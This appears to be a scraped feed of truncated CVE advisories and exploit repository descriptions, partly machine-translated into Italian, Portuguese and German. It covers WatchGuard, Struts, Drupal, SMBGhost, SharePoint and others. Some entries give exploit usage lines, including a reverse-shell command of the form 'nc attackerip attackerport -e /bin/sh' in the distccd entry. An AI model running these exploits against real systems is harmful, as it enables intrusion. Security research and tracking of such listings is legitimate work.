CVE-2026-19315

A type confusion vulnerability in the iked process of WatchGuard Fireware OS allows a remote unauthenticated attacker to execute arbitrary code by sending specially crafted network traffic...

CVE-2026-19313

An heap overflow vulnerability in the WatchGuard Fireware OS iked process allows a remote unauthenticated attacker to execute arbitrary code by sending specially crafted network traffic...

CVE-2026-38821

A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the openNDS daemon denial of service and potentially achieve remote code execution. This is in httpmicrohttpd.c...

UBUNTU-CVE-2026-38821

A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the openNDS daemon denial of service and potentially achieve remote code execution. This is in httpmicrohttpd.c...

CVE-2020-17530

CVE-2020-17530 Apache Struts2 è un framework web per lo sviluppo di applicazioni web Java EE. Apache Struts ha divulgato l'8 dicembre 2020 la vulnerabilità di esecuzione remota di codice S2-061 Struts CVE-2020-17530, che potrebbe presentare una vulnerabilità di iniezione di espressioni OGNL in...

TongDa-RCE

TongDa-RCE Inclusione di file Tongda + upload di file che porta a RCE Istruzioni per l'uso RCE remoto: python3 tongdarce.py targert getsehll: python3 tongdashell.py target...

collision-webshell

Webshell Collision Questo repository contiene 2 file che hanno lo stesso hash MD5: webshell.php normal.php MD5 dei file: root@kitploit: $ md5sum .php b719a17ae091ed45fb874c15b2d9663f normal.php b719a17ae091ed45fb874c15b2d9663f webshell.php Hexdump del webshell.php: root@kitploit: $ hexdump -C...

ToolShell

Exploit per SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ Come usare: python exploit.py -u -c Es: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

Spring4shell

Spring4shell Spring4shell...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 Panoramica Questo repository documenta i concetti di sicurezza studiati nella stanza di TryHackMe relativa alla CVE-2025-55182 , una vulnerabilità critica che colpisce: React Server Components RSC Next.js e framework basati su RSC Pacchetti: react-server-dom-webpack...

CVE-2018-7600

Prova di concetto per CVE-2018-7600 / SA-CORE-2018-002 codebeat badge Drupal prima della versione 7.58, 8.x prima della 8.3.9, 8.4.x prima della 8.4.6 e 8.5.x prima della 8.5.1 permette ad attaccanti remoti di eseguire codice arbitrario a causa di un problema che interessa più sottosistemi con...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Proof of Concept di Esecuzione Remota di Codice c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli Errori degli Attaccanti Proof of Concept di Esecuzione Remota di Codice per CVE-2020-0796 / "SMBGhost" Risultato atteso: Reverse shell con accesso di sistema. Inteso solo per...

EUVD-2026-67292

Xiiaozet LK100W is vulnerable to OS command injection through its web-based management interface. An authenticated attacker may be able to execute arbitrary operating system commands with elevated privileges, potentially resulting in unauthorized access to sensitive information or complete device...

EUVD-2026-67297

In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...

distccd_rce_CVE-2004-2687

O objetivo deste script NÃO é usar o Metasploit e fazê-lo manualmente. Uso: root@kitploit: nc -lvnp 4466 Executando o exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2026-67560

Bendix EC80 Brake ECU is vulnerable to a stack-based buffer overflow, which may allow an attacker to crash the ECU. A crafted payload can then be used to remotely execute arbitrary code or inject arbitrary CAN bus traffic. This could cause the loss of the ABS function, steering assist, speedomete...

CVE-2026-5706

In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...

SC3010-Computer-Security

SC3010-Computer-Security — Nachstellung des Angriffs CVE-2017-5638 Dieses Repository ist Teil des SC3010 Computer Security-Kursprojekts. Es stellt CVE-2017-5638 nach, eine kritische Remote-Code-Ausführungssicherheitslücke in Apache Struts 2 Versionen 2.3.5–2.3.31 und 2.5–2.5.10, die...

CVE-2018-1270

CVE-2018-1270 - Spring messaging SpEL Code Execution Vulnerability Gestern hat Spring einen RCE-Schwachstelle veröffentlicht, mehr dazu: CVE-2018-1270: Remote Code Execution with spring-messaging Betroffene Versionen Spring Framework 5.0 bis 5.0.4 Spring Framework 4.3 bis 4.3.14 Diese Schwachstel...

CVE-2021-42013

CVE-2021-42013 Verwundbarer Dienst Installation Mehrere Optionen: 1. Docker-Container root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2450cve-2021-42013 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-42013.git cd...